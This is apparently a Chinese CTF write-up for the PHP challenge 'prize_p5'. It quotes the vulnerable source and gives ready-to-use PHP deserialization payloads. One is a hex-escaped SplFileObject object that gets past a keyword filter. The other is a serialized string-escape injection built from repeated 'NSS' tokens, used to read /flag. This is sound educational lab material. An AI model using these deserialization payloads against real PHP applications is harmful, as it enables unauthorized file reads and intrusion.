prize_p5 复现

FSRM / 2023-06-25 / 原文

很有意思的一道题目,预期解就是通过字符串逃逸去读取flag非预期就是通过十六进制利用原生类去读取flag

 

<?php
error_reporting(0);

class catalogue{
   public $class;
   public $data;
   public function __construct()
  {
       $this->class = "error";
       $this->data = "hacker";
  }
   public function __destruct()
  {
       echo new $this->class($this->data);
  }
}
class error{
   public function __construct($OTL)
  {
       $this->OTL = $OTL;
       echo ("hello ".$this->OTL);
  }
}
class escape{                                                                  
   public $name = 'OTL';                                                
   public $phone = '123666';                                            
   public $email = 'sweet@OTL.com';                          
}
function abscond($string) {
   $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
   $filter = '/' . implode('|', $filter) . '/i';
   return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
   if(!preg_match('/object/i',$_GET['cata'])){      //这个object就是object字符串 所以用原生类去读取的时候会被过滤掉
       unserialize($_GET['cata']);
  }
   else{
       $cc = new catalogue();
       unserialize(serialize($cc));          
  }    
   if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
       if (preg_match("/flag/i",$_POST['email'])){
           die("nonono,you can not do that!");
      }
       $abscond = new escape();
       $abscond->name = $_POST['name'];
       $abscond->phone = $_POST['phone'];
       $abscond->email = $_POST['email'];
       $abscond = serialize($abscond);
       $escape = get_object_vars(unserialize(abscond($abscond)));
       if(is_array($escape['phone'])){
       echo base64_encode(file_get_contents($escape['email']));
      }
       else{
           echo "I'm sorry to tell you that you are wrong";
      }
  }
}
else{
   highlight_file(__FILE__);
}
?>

先来说一下非预期解:

非预期就是利用Globlterator 去读取flag的具体位置,但是环境可能出了点问题,出不来,看其他的wp是 /flag

用SplFileObject 去读取的时候object会被过滤掉

但是有一种方法就是利用十六进制

O:9:"catalogue":2:{s:5:"class";s:13:"SplFileObject";s:4:"data";s:5:"/flag";}

把SplFileObject前面的那个小写的s替换成大写的S 然后后面的Object任意一个字符替换成十六进制

Object对应的十六进制是\x4F\x62\x6A\x65\x63\x74 然后传的时候把x去掉

 

然后下面是预期解 通过字符串逃逸

这个题的话可以通过字符串逃逸增加,也可以通过字符串逃逸减少 下面介绍一下字符串逃逸增加的用法

字符串逃逸增加:

我这个是通过NSS来的,你通过其他的比hacker少的字符来的话都可以其实

先来看下面这段代码:

 if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
       if (preg_match("/flag/i",$_POST['email'])){
           die("nonono,you can not do that!");
      }
       $abscond = new escape();
       $abscond->name = $_POST['name'];
       $abscond->phone = $_POST['phone'];
       $abscond->email = $_POST['email'];
       $abscond = serialize($abscond);
       $escape = get_object_vars(unserialize(abscond($abscond)));
       if(is_array($escape['phone'])){
       echo base64_encode(file_get_contents($escape['email']));
      }
       else{
           echo "I'm sorry to tell you that you are wrong";

这个首先对email的值进行了一个/flag的检测,(不区分大小写)

然后分别POST传参三个参数 abscond这个函数就是进行一个替换 'NSS', 'CTF', 'OTL_QAQ', 'hello' 如果匹配到了上面四个值的话,就会替换成hacker

接下来进行一个反序列化,get_object_vars这个函数的意思可以看看以下演示的理解一下

总的说就是用于获取指定对象的属性和值,并返回一个关联数组。

class Person {
   public $name;
   public $age;

   public function __construct($name, $age) {
       $this->name = $name;
       $this->age = $age;
  }
}

$person = new Person("John Doe", 25);

$vars = get_object_vars($person);
print_r($vars);

输出结果:

Array
(
  [name] => John Doe
  [age] => 25
)

最后的那个if判断就是如果phone是一个数组的话,就把以email为路径的文件内容给读取并以字符串的形式给打印出来

最后把内容进行一个base64加密

分析完后我们通过字符串逃逸的方式,将email的值设为/flag,然后把它给放到name里面去,让它变成一个name的值

这样就绕过了对email的一个检测

先来看一下简单的一个测试:

<?php
class escape{
   public $name = 'Nq';
   public $phone = array('aa');
   public $email = '/flag';
}
$a=new escape();
$b=serialize($a);
echo $b;
?>

结果如下:

O:6:"escape":3:{s:4:"name";s:2:"Nq";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}

我们要做的就是将";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}这个给变成name的一个值

字符串逃逸的话可以去看看我的这篇博客 (初学者,是自己对反序列化逃逸的一个理解)

上面我们要塞进去的有58个字符,有一点点长啊

一个NSS可以逃逸出3个字符,根据计算我们要19个NSS加一个hello

name的值就是: name=NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShello";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}

然后phpone的值随便输就行,注意的是emial的值不能是/flag,其他的都可以

 

``````````